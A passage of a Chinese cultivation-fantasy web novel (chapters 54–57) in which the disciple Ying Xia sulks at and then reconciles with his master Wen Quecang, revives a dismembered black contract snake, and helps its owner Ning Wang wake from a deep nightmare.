正当应夏惶急发愁的时候,只见温却沧抬手,一道粗紫的雷电从头顶劈下,竟是冲着他去的! 师父——! 应夏竟是蓦地突破了恐惧,自己迈进了法阵里! 可就在此时,他才清楚的看到,那道雷电并没有伤到温却沧,而是覆盖了他手中的剑,闪着明明灭灭的金紫色光芒。 很快,温却沧便挥剑了。 霎时间,万物一切都停滞了,世间唯有那一剑。 温却沧挥落一剑后,并未有剑势剑气,却有万千雷电应他剑,从天上劈落,好像那雷才是他的剑势、他的剑气,每一道都完美地劈在昊英道君身上。 应夏被此情此景震撼到失语。 第54章 第 54 章(捉虫) 这都能活过来?…… 如今已离那日宁云峰大战过去了五日, 拂叶道君的宫殿按时关闭,玄衍宗内所有弟子身上的血蚕丝也一并被拔除。 至于那个时候寒池里失踪的灵,后来应夏从裴道远那里得知, 的确是昊英道君将鹿灵带走的,不知是用了什么法术,他能醒过来便是依靠着鹿灵里的灵气。 不过, 那日在宁云峰,昊英道君还是被斩于雷霆之下, 威力巨大堪比雷劫的落雷,将昊英道君连同他体内的鹿灵一起劈碎成齑粉,归于天地。 血蚕丝一事就此了结。 而就是在那一日,应夏隐约猜到了自己师父温却沧的真实身份, 他或许真的如小石头所说是个灵,甚至还可能是雷劫降生的灵。 毕竟没有人类可以驱使雷云甚至雷劫,再结合之前一系列的不合理与疑点来看,应夏便觉得温却沧真的可能是个灵, 甚至还可能是……他最害怕的那种灵。 那日后, 应夏便觉得十分郁闷, 郁闷自己竟是拜了天敌为师,所以这几日都离温却沧远远的,不然看见他心情会更加烦闷。 温却沧也有所察觉,但他想找机会与应夏说会话时, 总是被他找借口避开, 甚至昨天还说要更深入研究咒术, 直接跑到天权长老那儿去了。 与之前一直黏着他的情况形成了鲜明的对比,温却沧坐在屋里望着窗外寂静无声的落雪,竟是品出一些孤寂来, 明明自师父仙去后,这听雪峰上就剩下他一人,早应该习惯才对。 没想到收了个徒弟后,反而有些耐不住寂寞了。 温却沧叹了口气,摩挲着剑柄上挂着的,徒弟给自己编的剑穗,半垂的眼眸却依旧柔色一片。 该怎么将徒弟哄回来呢?- “怎么了?你和小师叔闹别扭了?”裴道远摇晃着扇子,看了眼走在前面的应夏,问道。 今天一大早,应夏便跑来找他,不由分说一把将他拉到这人迹罕至的深山老林里,说要什么实验一个刚研究出来的咒术。 可咒术在哪里实验不行?非要选择这地处玄衍宗边缘,紧挨着柏山的一处森林里?宗门内又不是没有其他相似的地方,一定是应夏想躲着小师叔。 裴道远挺奇怪的,自血蚕丝那事结束之后,应夏也不知道与小师叔发生了什么,突然他自己单方面避着小师叔了。 不说别的,就因应夏的好友只有他和穆槐序二人,小师叔这几天不知来找过他们几回,可次次都不巧没碰上应夏。 再迟钝的人都能反应过来这师徒俩必定是发生了什么。 裴道远和穆槐序琢磨过,许是师徒相处起了什么摩擦,可能过几天就好了,便也默契地帮应夏遮掩踪迹。可这都快半个月了,怎么二人都还没和好的迹象? 若不是小师叔特意有几天不住在听雪峰,恐怕应夏都不打算回去了! 正心情烦闷地掰着草叶子的应夏,听到这问题,也没回答,只哼哼两声,走快了几步。 裴道远连忙追上去,“诶,等等我,你不想说就不说了嘛。我们都走了快半个时辰了,到底要去哪儿呀?你想练咒术,我看这里就差不多了,也没什么人与野兽。” 应夏才慢下脚步,仍无意识地将手上的草叶子掰成碎条,他望了望四周,然后不再折腾那可怜的草叶子,给它了个痛快将其捻成齑粉归于尘土。 而后转身对裴道远说:“就这里吧,布阵。” 裴道远颔首,今日应夏带上他来练咒术,便是为了让他帮忙布阵法。 其实普通的隔绝阵应夏自己也会,但他想要的阵并非普通的隔绝阵。 应夏递给裴道远一块上品灵石,裴道远接过后露出痛惜的神情,他再次询问:“你真的要浪费一块上品灵石?我觉得中品灵石完全够用了。” “上品灵石的灵气才纯粹无杂质,效果是最好的。”应夏睨了他一眼,“别废话了,快布阵。” “唔,有钱的是大爷。”裴道远调侃一句便立刻拿着灵石布起阵法。 应夏让他布的阵法效果有二,一是完全隔绝外界并隐匿,完全隔绝是包括隔绝空气灵气等一切外界事物,二是要净化阵法内部的东西包括灵气。 这也是为什么要使用一块高品质灵石的原因,需要将阵法内部的杂质抽丝剥茧剔除出去,使得阵法内部形成一个十分高质的灵气空间。 这种高质灵气空间对修仙者修炼极为有利,但因消耗巨大并不能日常使用。 一块高品质灵石只能维持半个时辰,不论是中品还是上品,灵石的品质只对灵气空间的质量有关,而对于维持时间没有关系。 上品灵石十分难得,一块上品灵石可以兑换一百块中品灵石,若是拿来布灵气空间,用中品灵石便能维持五十个时辰! 所以裴道远才多次询问确认,甚至觉得应夏用上品灵石维持半个时辰过于浪费。 不一会儿,由一块上品灵石布成的灵气空间就搭建完成了,裴道远完事后还咋舌称奢侈。 应夏也不管他,找到灵气空间中灵气最丰富之处,将一坨坨黑乎乎的东西从小空间中掏了出来。 “这是什么玩意儿?”裴道远看着那些东西都不自觉地皱起眉,虽然没有味道,但他还是仍不住用扇子遮住口鼻。 “是一条黑蛇的尸块。”应夏面无表情地解释道。 这是他从北天剑宗回来时,救下的那个御兽门弟子身边的黑蛇尸身。这条黑蛇当时被斩成了好几块,早就没了生机,但因为是那御兽门弟子的契约兽,便也一同带了回来。 黑蛇与它的主人一同在小空间内,被充沛的灵气滋养着,原本恢复得很是缓慢,但自从小石头进入小空间后,灵气变得更加纯粹了,他们的伤势也恢复得更快了。 那名御兽门弟子虽然身上的伤势恢复得差不多了,但不知因什么原因并没有醒来,反而是他身边的这条被段成好几节的黑蛇竟慢慢显出生机来! 真是不可思议,明明当时这条黑蛇被人砍烂,体内也无丝毫生气,没想到竟是在多日灵气滋养之下,恢复了生机。 应夏能感受到这几段蛇身中蕴藏着的力量,它一到这高质灵力空间后,便疯狂地吸收周围的灵气,才过一刻,便能肉眼看见原本有些灰暗的鳞片变得光滑,就连切口的血肉都变得生机勃勃,好似这条蛇又活了过来。 “……我从未见过如此景象,这蛇明明都这样了,竟然还能活过来?!”裴道远忍不住惊叹道,“可它体内并没有妖丹,它是如何聚集灵气的?” 妖兽与灵兽不同,灵兽生来有智并体内含着天生灵气,而妖兽一开始是普通兽类,是后来修炼凝聚出妖丹才开了智。 按理来说,妖兽没了妖丹,即便不死,也无法聚集灵气,会变回普通野兽。 可眼前这条黑蛇,即便身子都断成了几截,连妖丹都没有,竟还能吸收灵气不让其溢散,简直闻所未闻! “世界之大,无奇不有。”应夏也感慨了一句。 半个时辰转瞬即逝,应夏又掏出一块上品灵石给裴道远,这回被黑蛇震惊的裴道远并没有拒绝,他也想看看最后这黑蛇还能带来什么样的惊喜,难不成它还能自己将自己的身躯拼回去吗?那可就是奇迹了! 可惜,奇迹并没有发生,黑蛇虽然在一点点恢复,但它没有将自己拼接回去的能力。 裴道远正想摇头感叹,就看见应夏蹲下身,伸手在黑蛇的鳞甲上画了几个咒文。咒文散发着金色的光芒,黑蛇像是被烫到了似的,突然在地面上弹动起来。 那几节蛇身似乎因那咒文而找到合适的位置,自己拼接了起来,但也只是拼上位置,并没有真正的接上愈合。 很快,应夏又唤出好几条金线,那些金线落到蛇身截断的位置,开始自行缝起伤来。 裴道远正要说话,见应夏全神贯注地盯着那黑蛇,手指微动指挥着金线,便闭上了嘴,站在一旁静静地看着金线缝合黑蛇。 直到第二块上品灵石消耗殆尽,应夏才松了劲,缝合好的金线融于蛇身,完美的将断裂的蛇身拼接好,仔细看去都看不出曾经被人斩断过。 裴道远调笑一句缓解气氛:“没想到你还有这么好的缝纫功夫。” “一般。”似乎是因为顺利完成了,应夏好心情地回道。 他蹲下身,伸手摸了摸蛇头,那条黑蛇突然睁开了眼睛,张开血盆大口咬住了他的手。 “小心!”裴道远脸色一变,收了扇子正要给那不知好歹的畜生致命一击。 “没事。”应夏伸出另一只手拦下了他,然后眼神示意让他自己看。 原来那条黑蛇咬住应夏的手,并不是想要攻击他,而是在示好。它甚至咬着手晃了晃脑袋,似乎在表示谢意。 应夏勾唇笑着摸了摸它滑溜的脑袋,“伤刚好就这么有活力?不关心你主人的安危了?” 黑蛇放开他的手,伸出红色的舌头嘶嘶几声,像是在回应。 “你还能听懂它说话?”裴道远诧异道。 “当然不能。”应夏将小石头放出来当翻译。 小石头便坐在黑蛇脑袋上,说:“这家伙说,她知道是你救了她和她的主人,所以非常感谢你。”说完,小石头有些别扭道,“没想到这家伙竟然是雌性,我还是下去吧,坐在雌性脑袋上不礼貌,而且男女授受不亲。” 应夏便将小石头放回自己的肩膀上,裴道远新奇道:“你还知道男女授受不亲?” 小石头哼了一声,洋洋得意:“那当然,我可是灵,什么不知道?” 第55章 第 55 章 并没有像你师父这般………… 应夏摸了摸蛇头, 感觉到手指被它的舌头舔过,是冰冰凉凉的。 裴道远问道:“它是遇到了什么事,竟然被伤得那么惨?” 应夏摇摇头, 将黑蛇和小石头都收入小空间里,说:“先不说这个,今日出来的任务顺利完成了, 我们回去吧。” “也是,此处不是说话的地方。”裴道远点点头, 将扇子收起来打几下手心,这时周围布下的阵法便应声而散。 随后应夏又抬手,将剩余的痕迹抹除。 看到这,裴道远说道:“原来你今日出来是为了救这条黑蛇, 倒是我想得狭隘了。” 应夏微蹙了蹙眉,没有说话,其实确实被裴道远说中,今日出来有一部分原因是想躲着温却沧。 其实在玄衍宗找个无人的小树林还是容易的, 不必非要跑这么远, 但……总之应夏现在还是不想看到温却沧就是了。 他只说:“回去吧。” 裴道远与应夏并肩走在路上, 问:“回去后你准备做什么?” 若是应夏还在和小师叔闹别扭,他可能不会回听雪峰吧。 “我听说你最近泡在天权长老的书房里,将他所写或没写出来的咒术都学了个遍。” 应夏勾唇笑了一下,颔首道:“没错, 不过我已经看得差不多了, 今天准备去你师父天枢长老那儿。” “我师父?”裴道远恍然大悟, 好笑道,“原来你是这么打算的,看来我师父那儿的咒术相关书籍也要被你掏空了。” 应夏稍抬了抬下颚, “昨天与天权长老稍稍透露了,他便将压箱底的符咒手记都拿了出来。” 裴道远笑着摇头,用扇子轻点了下应夏,说:“你这是利用了天权长老和我师父,真有你的!是谁告诉你天权长老和我师父……” 话还没说完,裴道远便停了下来,这答案很明显,肯定是小师叔跟应夏说的,只是这时候似乎不太好提起他。 裴道远抬眸看了看应夏的脸色,果然看到应夏又皱了下眉,鹿眸中的清澈溪水下闪过一丝别扭。 但应夏并没有避而不谈,反而直言道:“自然是我师父。” 裴道远掩下一丝讶然,看来应夏并非讨厌小师叔了,而是闹了一些小脾气,心下了然,他点点头,然后将轻轻将这个话题带过,与他说起天权长老和天枢长老之间发生的趣事。 “你可能不知道,我师父本来不是特别好强,但一对上天权长老,不知怎么的,就杠上了。”裴道远回忆着道,“你也知道,我师父并非专精符咒方向,只是因着性子对修炼绝不含糊,所以他学习符咒、咒术便会十分认真。” “其实一开始,师父他是会去找天权长老讨论咒术的,但天权长老在这方面天赋异禀,对于书上记载的咒术嗤之以鼻,觉得自己创造的咒术更厉害。所以他俩便谁也不服谁。” 应夏这几天与天权长老相处下来,也知道他的性子,虽看上去是个稳重的长老模样,可一说到咒术,就能当场变成自视甚高的天才咒术师。 裴道远突然惊讶道:“我觉得你能去找天权长老,还与他相处多日,有些不可思议,毕竟……咳咳,我怕你们两个会吵起来。” 应夏敛了眼帘,扯了下嘴角,道:“确实如此。” 不过天权长老总是在和他争论咒术的时候提起温却沧,他便不想与他说话,索性就沉默,所以也没有能吵起来- “你这小子就是依赖功德金光使用咒文,这对你后续修炼发展不好,你得使用原本的灵力!”天权长老吹胡子瞪眼说道。 可应夏的灵力就是由金线凝结而成,其本身就是带有功德金光的力量的,总不能让他用魔气吧?再说了,功德金光本就是天道给他的力量,为什么不用? 应夏刚想反驳,就听天权长老说:“你师父难道没告诉你一直依赖功德金光的坏处?那他可太不称职了,你不如拜我为师吧?” 天权长老这几天其实不止一次提起过温却沧,目的便是在于想收他为徒,可应夏就是没有答应。 “不必了,师父他教得挺好的。”应夏立即拒绝,他还维护温却沧说道,“师父也与我说过功德金光的事情,但我跟他说我体内的灵力早已与功德金光混为一体,无法分离,他便没再提过这件事。” 天权长老瞪大了眼睛,“你的灵力与功德金光混为一体了?这可前所未闻的大事!” 他突然站起来,伸手摸上应夏的手腕,仔细探查着他的体内的经脉。 应夏被他的举动搞得一僵,十分不适地等他查看完,才甩了甩手腕,这时他又看到小指上戴着的银环,陷入了沉默。 天权长老上下打量了一圈,感叹道:“也罢,既然功德金光已是你灵力的一部分,便这么用吧。你这小子倒是厉害,看你年纪也不大,竟是能随意驱使功德金光,如今又完美的将灵力与功德金光相融,真是……后生可畏。” 应夏没有在意天权长老的感叹,而是抿了抿唇,伸手捏住了那枚银环,想要将它摘下来,却又放弃。 他只是因为摘下银环怕在天权长老面前暴露魔骨,才选择不摘下银戒,仅仅如此而已,才不是…… 才不是什么?应夏突然一顿,他自己好像都不知道这句话的后面是什么。 天权长老见应夏竟然在他面前走神,不客气地甩出几个咒术攻向应夏,这是他这几日时常会做的事情——出其不意地朝应夏使用咒术攻击。 一来是为了锻炼应夏的瞬时反应能力,二来是为了让应夏用更短的时间去判断该使用什么咒术,三来便是为了缩短应夏画咒的速度。 这一次二人距离极短,即便应夏反应过来,他能来得及施展出对应抵消的咒术么? 天权长老的五字咒文即将奇袭至应夏脸上,霎时间,似乎碰到了什么东西,发出了一声轻响,随后那五字咒文便像是被火烧着了一般,化成了灰烬。 “你竟然已经能做到这一步了!”天权长老摸着胡子感叹道,“不画咒文,心念成形,不错,真不错!” 是了,应夏仅仅只是心念一动,周身的金线便明白他想要做什么,以肉眼不可见的速度形成咒术。 不过并不是说应夏没有画咒文,而是画出咒文这个阶段被极大的缩短了。 一般来说,先是在脑中想好要画的咒文,然后用灵力将其画出来,而后咒文便会形成相应的咒术。然而现在,应夏将画出来这个步骤极大的省略了,他脑内一想,金线便会立刻成形继而施展出咒术,这比原先要快上许多! 天权长老十分欣慰道:“没有浪费我这几天的培养,不过居然能这么快就领悟此道,看来你在咒术上的天赋远超于我。” 应夏弯着鹿眸很是高兴,眼底溢满着得意。 “好了,也不要骄傲自满,你还有很多需要学的。”天权长老便扔了一本书给他,“今天之内把这个看完,看完后来找我。” 说完天权长老便离开了书房。 应夏皱眉接下书,随意翻了两页,很快又合上,心有不满地撇撇嘴。 原本他有进步,该是……该是有人会来摸摸他的头顶,接着会不吝赞美的夸他几句,然后还会温温和和地与他讲还有哪些地方该注意、哪些地方仍有进步空间。 而不是,只会扔给他一本书,然后就无情地离开了。 他将小石头拿出来放在书桌上,戳着它的枝条抱怨着。 小石头却十分疑惑地问道:“难道修仙界的师徒不都是这样的吗?虽然我在玄天秘境中待了许久,但那些进来秘境的修士们也偶尔谈论过。” “修仙一事本就只能靠自己,虽然有师父,但他们大多只是传道授业解惑,并没有像你师父这般……唔,这般面面俱到。” 应夏愣了一下,而后低声反驳道:“哪有面面俱到。” “哪里不面面俱到?”小石头挥舞着枝条,“你说说,这宗门里有哪位长老给自己徒弟的书籍还要亲自查看写注解的?不都是随手找一本扔给徒弟,甚至有些师父若不是徒弟主动问,都不会去注意徒弟是否看懂看明白了。” “他只有我一个徒弟,自然是会更尽责一些。”似乎是找到了反驳的点,应夏的眼神又坚定起来,“而且我身上还有功德金光,再加上师父他的性子本就温和,所以……所以就对我好了些。” 小石头似乎被说懵了,挥舞的枝条都停了下来,它道:“是、是这样吗?” 应夏肯定道:“一定是这样。而且我修炼速度也不慢,不都说师父会喜欢勤快且天赋高的徒弟么?” “是这样没错。”小石头好像完全被应夏说服了,然后提出了一个致命问题,“那这么好的师父,你为什么又跟他闹别扭呢?” 应夏:“……” 他道:“他是个好师父,和我跟他闹别扭,这两件事没有冲突。” 小石头有些懵,也不知道是否理解了这句话的含义,只是说:“唔,我好像明白了。” 应夏不自觉松了口气,他竟然害怕自己说不过小石头…… 正当应夏准备把小石头放回去,开始看书的时候,小石头突然又道:“既然他是个好师父,那你不应该和他闹别扭了,你得赶紧跟他和好,万一他收了别人做徒弟怎么办?” “他既然这么好,肯定有很多人想当他徒弟对吧?” 应夏:“……” 第56章 第 56 章 本来是想哄他高兴的。…… 应夏走在回听雪峰的路上, 想着裴道远还有小石头的话,若有所思。 他躲着温却沧躲了这么多天,又没有一个正当的理由, 再这么下去似乎也不合适,是否要找个机会和好呢?不,不对, 他们又没有闹掰算不上和好…… 应夏揉着额头叹了口气,其实早在前些日子他就缓过来了, 只是一直没找到合适的时间将这次“无缘无故”的闹脾气略过去。 他抬头望着漫天的落雪,脚步逐渐缓慢了下来。 ……要不还是去穆槐序那儿再待一天再说吧? 没等应夏想好,一个熟悉的身影便猝不及防地映入他的眼帘——正是这次别扭的对象,温却沧。 上山的路应夏其实才走了一半, 还没到能看到山顶茅草屋的路程,这说明温却沧他是特意走下来的,或许就是察觉到应夏有退缩之意。 温却沧看见他时,脚步一顿, 便没有在上前一步。二人之间离得有好长的距离, 远得因落雪纷飞看不清对方的面容神情, 甚至怕停留得再久一些,连模糊的身形也能掩盖。 应夏轻轻摩挲着唇上的小痣,如蝶翼般的睫毛已然落了层雪,没有防备地看到师父, 他也伫立在了原地, 甚至都忘了继续维持隔绝落雪的咒术。 二人都因为看见对方, 而止住了脚步。 霎时间,大雪纷飞,白纱似的阻隔了两人, 像是被那慢慢积攒盖住半只脚的雪绊住了似的。 应夏最终呼出了一口热气,妥协般地走向了温却沧。 因为他刚才想到一个问题,温却沧平常下山不会走山路,一般都是用法术飞去目的地,而现在却是看见他在走,直到刚刚见到自己才停下。 那么只有一种可能,温却沧是知道他来听雪峰了,所以才慢慢走下山的路来接他。 既然是来接他的,可又为什么在见到他的时候,搁着这么远的距离停下来了? 应夏哈了一下手心,他并不冷,可是不知道为什么,在温却沧面前就想着做这么一个动作了。 果然,他做完这个动作后,还离他有一些距离的温却沧已至身前,伸手拂去了他身上的落雪,接着握住了他的双手,渡来精纯灵力驱寒。 应夏眯起眼睛享受着这个舒服的灵力循环经脉,甚至将另一只手也放在温却沧的手心里,说:“师父,这只手也冷。” 他知道自己的行为幼稚,可他也知道,温却沧会欣然接受他的幼稚。 温却沧果然也将他另一只手一起拢住,渡去暖意,像是忘记了自家徒弟本就会驱寒回暖之术,只是温声道:“这样好些了吗?” 应夏勾唇笑得灿烂,点点头道:“好多啦!” 说完他将手抽回来,撇开视线,低声说道:“抱歉师父,这几天让你担心了。” 温却沧眼底掠过一丝讶然,还以为少年会就此揭过不提,没想到竟是向他道歉了。一时间心底柔成一片,他伸手摸了摸应夏低垂柔顺的发丝,道:“没关系,你这几天也没有懈怠修炼,做得很好。” 应夏突然抬头道:“咒术倒是进步了许多,但没怎么练刀了。” 温却沧挑了下眉,道:“你是想和我练刀?” 应夏笑着拔出腰间的红刃骨刀,说:“正好热热身。” “可。”话音刚落,温却沧就截住他的手腕,用巧劲一转,将他的骨刀又插回腰间,说,“回听雪峰再打,这儿不合适。” 应夏顺势松口,答应得很爽快,然后反手扣住温却沧的手,在他手心里写了几个咒文,然后便飞快地用上咒术跑了。 温却沧因手心异样的触觉而怔了一小会儿,没想到一低头便瞧见自家徒弟抱住了自己的手臂,露出一个殊艳倾城的笑容,脸上的神情是从未有过的依赖与眷恋。 少年甚至用嫩白的脸颊蹭了蹭他的手臂,清澈的鹿眸中满满印着他一人的身影,红唇上的那枚惑人小痣格外抢眼,他微微启唇,使人稍稍窥见一丝猩红的软舌,更觉诱人…… “师父?” 应夏跑了一会儿竟然没察觉到温却沧追上来,转头才发现他依旧呆愣在原地,黑色的眼眸变得更加深沉,心道:不会吧?师父竟然真的中了刚才的咒术? 他走到站在原地的温却沧面前,在他眼前挥了挥手,又唤了一声:“师父!” 话音刚落,那双黑沉的眼眸突然看向自己,应夏忍不住后退半步,那种像是被什么凶兽盯住的感觉又来了。 师父难道是看见了什么敌人?应夏皱眉,不应该啊,这个咒术只能让人看见最想要看见的东西……啊!难道说是看见了师祖?然后看见的情况很不好? ……本来是想哄他高兴的,这下怕是捅娄子了! 那危险的感觉转瞬即逝,温却沧很快便恢复成了原来温温和和的模样,应夏都有些怀疑刚刚是不是错觉。 “师父,对不起。”应夏果断认错,他知道只要自己好好认错,温却沧是不会太过计较的。 温却沧闭了闭眼,轻声问道:“你给我下了什么咒?” 应夏老实说道:“我原意是想让师父开心的,好像搞砸了……” “算了。”温却沧捏了捏鼻梁,没有看应夏,抬脚走到了前面,“走吧,先回去。” 应夏亦步亦趋地跟在身后。 回到茅草屋内后,应夏也不提要练刀的事情,虽然温却沧不会因刚才搞砸的事情借练刀的机会报复,但应夏还是下意识地避开这个选项。 他说起了今日和裴道远一起外出,将御兽门弟子的那条黑蛇契约兽救回来的事情一说。 “……真是无奇不有,那条黑蛇明明连妖丹都没有了,竟是能吸收灵气,还能在我将它的身体接回去后再次恢复神智!” 应夏想了想,道,“师父,我们进小空间去看看这条黑蛇吧?顺带看看那名御兽门弟子,小石头跟我说,他身上的伤都好得差不多了,只是不知道为什么还没有醒来。” 温却沧点点头:“好,去看看。” 应夏一挥袖,二人便来到了小空间内部。这里的灵气已经被小石头养育地十分纯粹充盈,站在这空间里头都能感觉到通体舒畅。 二人一在小空间内现身,小石头便瞬间出现在他们眼前,挥舞着枝条像是生怕他们看不见一样,一边大喊着:“这边这边,我在这里。” 应夏好笑地将小石头托起来,问道:“那条黑蛇呢?” 小石头用枝条指了指唯一的房子,“在里面陪着她的主人呢。” 应夏与温却沧走进屋内,果然看见一条巨大的黑蛇盘桓在床铺上,不过它一点儿都没有惊扰到床上的人,巨大的身躯小心翼翼地占据着床榻的空隙,只有黑蛇头轻轻靠在那人的胸膛上,似乎在侧耳倾听着他跳动着的心跳。 黑蛇见有人来了,它也没有挪动,只是抬起蛇头,朝二人轻轻点头。 小石头倒是毫无顾忌地说道:“大玄,我们来看你和你的主人啦!” “它叫大玄?”温却沧问道。 小石头回答说:“大玄说她跟主人姓,名字叫做宁玄。我因为体型小被叫做小石头,那么她体型这么大,就应该叫大玄,我说的难道不对?” 温却沧失笑,走到床前,附身捞起御兽门弟子的手,伸出二指放在他的手腕上,倒不是他会把脉,而是用灵力探查其经脉。 应夏戳了戳小石头,“那你可知道大玄的主人叫什么?” 小石头似乎没有问,转头看向黑蛇,交流了一番,才道:“大玄的主人叫做宁妄,妄想的妄,唔真是奇怪的名字。” 应夏看向床上的人,见温却沧已经放开了他的手,问:“师父,宁妄他如何了?怎么还不醒?” 温却沧微蹙眉,道:“他体内的伤势已经痊愈,只是……” “只是什么?” 温却沧想了想,又抬手将他的眼睛微微撑开,然后得出结论:“他应该是进入了梦魇之中。” “梦魇?做噩梦了?”应夏凑近瞧了瞧,心有疑惑,“可他这副心绪稳定的模样,怎么看也不像是中了魇。” 温却沧解释道:“不是你想的那个普通梦魇,是深层的。外表是看不出什么的,他的神志、识海被魇住了。” 应夏似懂非懂,“那怎么让他醒来呢?” 温却沧叹了口气,摇摇头道:“这深层梦魇必须由他自己冲破,外力无法干扰,我们能做的,就只有等。” 应夏撇了撇嘴,看着床上的宁妄,说道:“你可得给大玄争点气!” 说完,突然想到了什么,连忙问:“师父,他既然有大玄这个契约兽,都说契约兽与契约者心有灵犀,修炼也是相辅相成,那大玄能不能帮上什么忙?” 名为宁玄的黑蛇也听懂了,它带着希冀望向温却沧。 温却沧微顿,点点头:“你说的没错,我差点忘了他是有契约兽的。” 他看向黑蛇,问道:“我可以将你的神识引入他的深层梦魇,你可愿前去?” 黑蛇急忙点点头。 “首先你要明白,深层梦魇危险无比,而且也牵连着人的识海,若是你闹得动静太大,很可能他就永远醒不过来了,而你也将与他一起长眠。再者,在深层梦魇中,你不可以提醒他,一定需要他自己领会并醒来,强行突破梦魇将会对他的神识有损……” 温却沧详细将危害与注意点告知黑蛇,黑蛇认真记下后,他才动手将黑蛇的意识送入宁妄的深层梦魇之中。 黑蛇便靠着宁妄的胸口沉沉睡去。 小石头的枝条交握着,像是在祈祷:“希望大玄和她的主人会没事。” 应夏:“一定会的,毕竟他们这么顽强的活了下来。” 第57章 第 57 章 他这算是把天道的劫难搞…… 整整一天过去, 宁妄与黑蛇并没有从沉睡中醒来。 应夏让小石头看着他俩,一有动静便通知自己。小石头乖乖地躺在床榻旁的矮几上,应夏想了想, 还给它周围放了几块上品灵石。 没想到小石头看了眼灵石,道:“用不着给我这些,小空间里的灵脉已经足够了, 而且我可是灵,就算在这里也能修炼的。” 应夏见小石头神气十足的模样, 展眉一笑,复又佯装冷酷,道:“谁说这灵石是给你修炼的?我是想让你继续工作。” 一旁的温却沧第一次见应夏这般逗弄小石头,那双桃花眼一眨不眨地盯着自家徒弟, 含着温柔笑意。 “哼,我已经不怕你了,你这招对我来说没用了!嘿嘿!”小石头用枝条插着腰,语气特别骄傲, “而且我在这里也不耽误养灵气, 你就放心吧。灵气越充足, 对我来说修炼就越顺畅,这些都是相辅相成的,我明白。” 应夏挑眉道:“我可不是说这个,我的意思是让你用这些灵石给他们俩及时补充灵力。我看自宁玄进入宁妄的深层梦魇后, 他们俩身上的灵力消耗得很快, 他们也没有主动吸收灵气。所以, 你得帮助他们,这才是我交给你的任务,明白了吗?” 小石头神气的表情突然萎靡, 那活跃的枝条都耷拉下来,但是突然又想到了什么,很快便自我恢复了,精力十足地道:“我知道了,你果然是个大好人!” 应夏:“……?”这小石头又脑补了什么奇奇怪怪的东西? 小石头高兴地将桌子上的上品灵石拢在身边,它也不知道为什么应夏总喜欢扮作“恶人”,但既然他喜欢这么做,那就当做他的一个小小爱好吧。 它可是灵,人类有句话叫做“大人有大量”,它身为灵也可以有大量,体谅一下应夏的特殊爱好。 虽说应夏想让它帮忙看人干活,但是即便是补充灵气也并不是非要给它上品灵石,中品或者下品都足够了,毕竟它可是灵,提纯灵石里的杂质完全不是问题。 可为什么随手给它的是上品灵石呢?一来大概是考虑到上品灵石内灵气纯粹,用起来省时省力,二来也应该是想让它借着上品灵石修炼吧! 平时睡在灵脉中,虽然其中蕴含丰富灵气,可未开凿的灵脉中杂质也挺多的,自然比不上已然提纯的上品灵石。 嗯!一定是这样!小石头蹭蹭身边的上品灵石,感受到里头纯粹精炼的灵气,觉得自己口水都快要流下来了,甚至还伸出一根枝条擦了擦。 应夏看见它的动作像极了一个小财迷,好笑地提醒道:“这些都是要给宁妄他俩用的。” “知道了知道了。”小石头挥挥枝条,但它也知道,这些上品灵石的量足够宁妄他俩撑上半个月,但突破梦魇需要半个月吗?肯定不需要!那剩下的不都是它的了吗嘿嘿…… 应夏又看小石头不知怎么的像是想到什么喜事,手舞足蹈起来,颇为好笑。 笑够了,他这才抬眸,猝不及防望入一双潋滟而深邃的黑眸中,里头的深情与柔意差点让应夏一愣,他总觉得师父眼里的温柔和以前不一样了。 但是有什么不一样他却说不上来,可能是最近躲着温却沧,一时间又不习惯了? “师父,我们走吧。等宁妄醒了我们再进来。” 温却沧应道:“好。”- 应夏原以为顶多两三日宁妄就能醒来,没想到直到第五日,那条黑蛇宁玄醒来了,但宁妄依旧没有。 他奇怪地询问黑蛇宁玄道:“怎么只有你一个出来了?他呢?” 黑蛇似乎没有听到应夏的话,不断地用蛇头去顶宁妄的下颌,好像这样就能将他从梦魇中弄醒似的。 就连小石头都看不下去,它直接跳到黑蛇的头顶上,制止它的举动,说:“大玄,你倒是说话呀?若是没成功,我们还可以想别的办法,你这个样子,你的主人也不会醒过来……” 话说到一半,宁妄突然咳嗽了起来,猛地坐起身,将胸前的宁玄与小石头都撞开了。 黑蛇很快稳住了蛇身,原本安静攀在床榻上的蛇尾动了起来,似乎十分高兴激动地将床上的人围绕了起来。 应夏抬手接住了滚落的小石头,有些惊讶地看向突然醒过来的宁妄,原来是成功了,只不过刚出梦魇的宁妄看起来十分惊恐,他瞪大着双眼,惨白的一张脸,眼底皆是散不去的恐惧与惊惶。 黑蛇宁玄盘绕在他的身侧,感受到他的情绪,将巨大的蛇头考过去,用冰凉的鳞甲贴住他的脸颊划过下颚,然后发出嘶嘶的声响,似乎是在呼唤自己的契约者。 宁妄渐渐在这种安抚之下缓过神来,他看到了完好无损的黑蛇,十分激动地抱住宁玄的蛇头蹭了蹭,眼睛眨了眨,竟是立即落下了泪来。 他哽咽道:“……太好了,你没有……太好了。” 黑蛇顺从地任由他抱着。 应夏托着小石头站在一旁,没有打扰他们,仔细观察着宁妄。刚刚宁妄醒过来后,他发觉他的身上有一丝妖兽的气息,还未醒来时那气息太弱,他便以为是因为黑蛇的关系。而等到宁妄真正醒来后,那股气息并没有消失,而是更加明显了,应夏立刻就察觉到,那妖兽的气息与黑蛇不同。 可是,宁妄不是人类吗?身上怎么会有其他妖兽的气息,若是黑蛇的气息那还有理由解释,毕竟他们是契约关系,但现在…… 正当应夏胡思乱想之际,宁妄已是止住了眼泪,他从宁玄那里得知,是眼前的少年救下了他们,他沙哑着嗓子道谢:“多谢恩公……救命之恩,没齿难忘。” 应夏笑着说:“小事。你现在在玄衍宗,这里是我的小空间,我是玄衍宗弟子,叫应夏。当时是与师父外出下山时,路过看见你身受重伤仍留有一口气,便将你救下。” 宁妄挣扎着似乎想要下床,但被应夏抬手阻止,道:“你刚刚从深层梦魇中醒过来,还没完全恢复,先躺着吧。” “虽然我有很多疑问,不过这些都不着急,等你完全恢复了再说也不迟。”应夏将小石头放回桌上,看了眼上品灵石只用去了几块,“而且救下你也是因为我有私心……这些都等你恢复再聊。” 他看着宁妄的倦容,说道:“好好休息,等你完全恢复精神了,再让小石头通知我便好。” 宁妄也知自己如今的状态,便只微微抬手作揖,再次致谢。 不论这位叫做应夏的玄衍宗弟子是如何救下他们的,是为了什么目的,他如今竟是能活下来,宁玄也好好的,便是足够他穷尽一生去感谢的。 因为他还不能死,至少现在还不能。 应夏走后,宁妄抱着黑蛇,将脸埋在它的鳞甲上,滔天的恨意涌了上来,他还记得,记得那些人是如何对待他的,还有是怎么……对待宁玄的!他一定要将那些人杀了! 